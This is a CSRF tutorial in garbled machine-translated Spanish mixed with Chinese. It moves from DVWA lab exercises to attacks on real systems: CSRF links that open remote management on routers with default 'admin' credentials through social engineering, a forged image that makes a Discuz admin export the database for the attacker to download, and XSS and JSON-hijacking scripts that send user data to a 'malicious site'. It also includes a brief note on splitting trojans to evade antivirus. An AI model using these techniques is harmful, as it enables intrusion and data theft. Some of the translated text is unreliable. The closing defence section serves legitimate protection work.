Falsificación de solicitud entre sitios CSRF
teoría:
1. Definición:
La falsificación de solicitudes entre sitios de CSRF es un uso malintencionado de sitios web. La diferencia con los ataques de secuencias de comandos de sitios cruzados de xss es que
xss utiliza usuarios confiables en el sitio para atacar, pero csrf usa solicitudes de usuarios confiables para que los atacantes se falsifiquen. usuario y lanzar un ataque.
XSS:
debido a que la detección de entrada no es estricta, la
inyección del código js
csrf:
uso malicioso del sitio web
falsificó las solicitudes de los usuarios
2. Principio de funcionamiento:
1. El usuario navega e inicia sesión en el sitio web de confianza A
2. En este momento, se pasa la autenticación, se generará una cookie del sitio web de confianza A en el usuario
3. Luego, el usuario visita el sitio web amenazante B sin iniciar sesión al sitio web A
4. Esto Cuando el sitio web amenazante B solicita visitar el sitio web de un tercero A, envía una solicitud de solicitud
5. Luego, de acuerdo con la solicitud en 4, el navegador visitará A con la cookie generada en 2
6. En este momento, A no conoce la solicitud de acceso en 5 Si la envía el usuario o el sitio web amenazado B, el navegador traerá automáticamente la cookie del usuario, por lo que el sitio web A utilizará el permiso del usuario para procesar la solicitud 5, por lo que el sitio web B simulará con éxito que el usuario visite un sitio web y realice operaciones.
3. Para completar un ataque csrf, la víctima debe completar dos pasos:
1. Inicie sesión en un sitio web de confianza y genere cookies localmente
2. Visite un sitio web peligroso B sin cerrar la sesión A
Experimento 1 (caso de modificación de contraseña)
进入dvwa，将安全级别设置为low
进入CSEF测试页面
输入密码，提交，发现提交的url如下：
http://192.168.0.107:81/dvwa/vulnerabilities/csrf/?password_new=1&password_conf=1&Change=%E6%94%B9%E5%8F%98#
此时构造攻击页面：
<img src=” http://192.168.0.107:81/dvwa/vulnerabilities/csrf/?password_new=2&password_conf=2&Change=%E6%94%B9%E5%8F%98#
” border=”0” style=”display:none;” >
<h1>404<h1>
<h2>file not found<h2>
将构造好的攻击页面放置在第三方服务器中，页面访问地址为http://192.168.0.10/csrf.html
192.168.1.10是第三方服务器的地址
当用户点击该链时，密码被修改。
Experimento dos (cambiar mayúsculas y minúsculas)
进入dvwa，将安全级别设置为low
进入CSEF测试页面
输入密码，提交，发现提交的url如下：
http://192.168.0.107:81/dvwa/vulnerabilities/csrf/?password_new=1&password_conf=1&Change=%E6%94%B9%E5%8F%98#
查看代码，发现服务器端使用stripos()函数判断变量HTTP——referrer中的referer参数值，表示来源地址，是否包含server_name(http头的host参数即访问的主机名)
通过这种方法来防御csrf攻击
此时构造攻击页面SERVER_NAME.html
<img src =” http://192.168.0.107:81/dvwa/vulnerabilities/csrf/?password_new=2&password_conf=2&Change=%E6%94%B9%E5%8F%98# ” border =” 0” style =”显示：无；” >
<h1>404<h1>
<h2>file not found<h2>
其中server_name为dvwa平台的IP地址
将构造好的攻击页面放置在第三方服务器中，页面访问地址为http://192.168.0.10/server_name.html
192.168.1.10是第三方服务器的地址\server_name是dvwa的ip地址
当用户点击该链时，密码被修改。
Experimento tres (cambiar mayúsculas y minúsculas de la contraseña)
接用 burp 抓包把http://127.168.1.55:8080/dvwa/vulnerabilities/csrf/加入到 referer
里面，点击转发数据包，发现密码修改成功
也就是说，在构造攻击代码的时候，要将攻击代码修改成refer为站点refer的，之后再结合其他手法进行嵌入
修改密码案例防御. CSRF 直接判断旧密码是否正确了,这样在不知用户原有密码的情况下，不管是否存在 CSRF， 你都是无效的。
Experimento 4: ataque csrf al equipo de la red local:
一般情况下，外网不可以访问，交换机等硬件也是，如果想访问内网设备，应该怎么办呢，注意，内网设备很多是默认密码的
首先，模拟正常用户身份登录，进入到路由器中开启web管理端口，再用burp抓包，抓取得到地址
<img
src=http://192.168.1.1/userRpm/ManageControlRpm.htm?port=80&ip=255.255.255.255&Save=
%B1%A3+%B4%E6>
将这个攻击代码插入到想插入的地方，欺骗对方企业访问这个地址，访问之后对方设备的远程web管理端口就打开了
这段攻击代码三个功能，先开启80端口，把远程web管理IP地址改成255.255.255.255，保存
注意在登录状态，被攻击者访问了带有 CSRF 攻击代码的网页时，就“被迫”开启了“远
程 WEB 管理”功能
使用 GET 方式发起的 CSRF 攻击,通过社工等手法让被攻击者访问恶意站点的 CSRF 文件。
FAST 无线宽带路由器的 WEB 管理的默认用户名与密码：admin。
Experimento 5: No es necesario un caso de navegador:
将攻击代码嵌入到自解压选项中
补充
在做免杀的时候也可以使用这个功能做自解压木马干掉杀毒软件
可以把一个木马进行拆分
先把注册表导入形式拆分
内存部分再拆分
启动项拆分导入形式
最后加一个自动.exe形式
Experimento 6 (caso rápido de reducción de existencias)
dscuz中注册一个普通用户
模拟用户发帖
在帖子里 添加一个网络图片
http://192.168.1.55:8080/dzcsrt/uc_server/admin.php?m=db&a=operate&t=export&app id=0&backupdir=xxxx%26backupfilename%3Daaaa
当管理员访问此贴时，只看到一张未正常显示的图片
网页加载图片的 URL就是管理员在数据备份时所访问的 URL 用管理员账号登录查看消息（在管理模式下） 他的数据库就被备份了
攻击者直接在默认路径下载备份好的数据库就可以了
Modelo de gusano CSRF
同域内 CSRF 攻击获取数据几乎没任何限制
跨域 CSRF 攻击获取数据的几种方法总结如下
1、XSS
使用目标站点上的 XSS 漏洞
> <iframe width=0 height=0 src=‘http://目标站点/search.php?k=“><script
> src=http://恶意站点/get.js></script>’></iframe>
http://恶意站点/get.js 的代码是：
//use DOM method to get your data
new Image(). src=‘http://恶意站点/do.php?data=‘+yourdata;
恶意站点的 do.php 文件接收唯一标识等数据。该唯一标识可以是 url 中的或是目标站点
url 对应的内容中的。
2、服务端代理技术
3、JSON Hijacing
使用 JSON Hijacking 技术：
目标站点使用了 JSON 数据传输用户私有数据。
该私有数据内包含我们需要的唯一标识等信息。
< script > function hijack（o）{ //使用DOM方法获取数据 新Image（）。src =“ http://192.168.1.2/JSONHiJack.asp?hi=” + escape（data）; } </ script > <script src = http：//api.fanfou.com/private_messages/inbox.json？callback = hijack＆count = 2> </ script >
4、Flash AsctionScript（crossdomain.xml）
使用 Flash ActionScript 脚本
目标站点下必须存在 crossdomain.xml 文件,crossdomain.xml 中的配置允许其他域的 AS
脚本进行跨域请求
万用符*
要获取的关键数据是唯一标识
用户 id、用户昵称、用户 email、用户个人页面地址等
prevención de csrf
Defensa del lado del servidor:
- Verificar el campo Referer HTTP
De acuerdo con el protocolo HTTP, hay un campo en el encabezado HTTP llamado Referer, que registra la
dirección de origen de la solicitud HTTP . En circunstancias normales, las solicitudes para acceder a una página restringida segura deben provenir del mismo sitio web.
Por ejemplo, una transferencia bancaria se completa cuando el usuario visita la página http: //bank.test/test? Page = 10 & userID = 101 & money = 10000. El usuario primero debe iniciar sesión en bank.test y luego hacer clic en el botón en el página para activar el evento de transferencia.
Cuando un usuario envía una solicitud, el valor de Referer de la solicitud de transferencia será la URL de la página donde se encuentra el botón de transferencia (en este ejemplo, generalmente es una dirección que comienza con el nombre de dominio de prueba del banco).
Si un atacante desea implementar un ataque CSRF en el sitio web de un banco, solo puede crear una solicitud en su propio sitio web. Cuando un usuario envía una solicitud al banco a través del sitio web del atacante, el Referer de la solicitud apunta al sitio web del atacante. Por lo tanto, para defenderse de los ataques CSRF, el sitio web del banco solo necesita verificar el valor de Referer para cada solicitud de transferencia. Si es un nombre de dominio que comienza con bank. Test, significa que la solicitud proviene del sitio web del banco y es legítima. Si Referer es otro sitio web, puede ser un ataque CSRF y la solicitud se rechaza.
2. Agregue el token a la dirección de la solicitud y verifique que el
ataque CSRF pueda tener éxito porque el atacante puede falsificar la solicitud del usuario. Toda la información de autenticación del usuario en la solicitud está en la cookie, por lo que el atacante puede no tener conocimiento de estas verificaciones. En el caso de la información, utilizar directamente la propia Cookie del usuario para pasar la verificación de seguridad.
Se puede ver que la clave para resistir los ataques CSRF es incluir información que el atacante no pueda falsificar en la solicitud, y esa información no existe en la Cookie. En vista de esto, el desarrollador del sistema puede agregar un token generado aleatoriamente en forma de parámetro en la solicitud HTTP y establecer un interceptor en el lado del servidor para verificar el token. Si no hay ningún token en la solicitud o el contenido de el token es incorrecto, puede considerarse CSRF atacado y rechazado la solicitud.
El método para personalizar y verificar las propiedades personalizadas en el encabezado HTTP también es usar tokens y verificarlos. La diferencia con el método anterior es que en lugar de poner el token en la solicitud HTTP como parámetro, se coloca en la solicitud HTTP. Ponlo en el atributo personalizado en el encabezado HTTP.
A través de la clase XMLHttpRequest, puede agregar el atributo de encabezado HTTP csrftoken a todas las solicitudes de este tipo a la vez y poner el valor del token en él. Esto se resolvió antes de una manera de unirse al inconveniente del token de solicitud al mismo tiempo, a través de esta clase, la dirección solicitada no se registrará en la barra de direcciones del navegador, no se preocupe, la fuga de tokens a otros sitios a través del Referer
4. del lado del servidor Distinguir estrictamente entre las solicitudes de datos POST y GET. Por
ejemplo, no utilice Request para obtener datos directamente en asp. Al mismo tiempo, se recomienda no utilizar solicitudes GET para realizar operaciones persistentes, como: http://www.yeeyan.com/space/deleteEvent/16824.
5. Use un código de verificación o contraseña para confirmar que
este método es muy efectivo, pero la experiencia del usuario es peor.
Por ejemplo, para cambiar la contraseña, debe ingresar el código de verificación o la contraseña original
Defensa del lado del usuario
No es realista que los usuarios normales aprendan y posean conocimientos de seguridad de red para defenderse de los ataques a la red. Sin embargo, si los usuarios desarrollan buenos hábitos de navegación, el daño de los ataques CSRF puede reducirse en gran medida.
El administrador del sistema, el usuario más importante y más importante, debe intentar hacer clic en enlaces e imágenes desconocidos al cerrar la sesión del sistema. Además, los usuarios también deben instalar el software de protección de seguridad adecuado en las computadoras conectadas a Internet y actualizar la base de datos de firmas publicada por el fabricante del software a tiempo para mantener el seguimiento en tiempo real del software de seguridad de los últimos ataques.
Defensa de equipos de seguridad
Dado que se necesita una cierta cantidad de tiempo desde el descubrimiento de las vulnerabilidades hasta la publicación de los parches, y una proporción considerable de proveedores no ha respondido positivamente a las vulnerabilidades, y algunos administradores de sistemas no prestan suficiente atención a los parches del sistema, estos han dado a los atacantes una oportunidad. En vista de las diversas situaciones mencionadas anteriormente, los usuarios pueden utilizar equipos de seguridad profesionales de terceros para fortalecer la defensa contra las vulnerabilidades CSRF.
La esencia del ataque CSRF es que el atacante ha falsificado una identidad legal para acceder al sistema. Si
se puede identificar la identidad falsificada del visitante, también se puede identificar el ataque CSRF. Las investigaciones han descubierto que los productos de seguridad de algunos proveedores pueden
identificar de manera rápida y precisa los ataques CSRF al verificar el contenido del campo Referer en el encabezado HTTP según el nivel de hardware . En la actualidad, los productos IPS de H3C utilizan tecnología especial para respaldar la detección y el bloqueo de ataques de vulnerabilidad CSRF en algunos sistemas de uso común. El
método de defensa
es hacer coincidir primero el tráfico de red con la firma de la base de datos de firmas.
Características de impacto
Informar registros de ataque
Sin función de éxito,
liberación de tráfico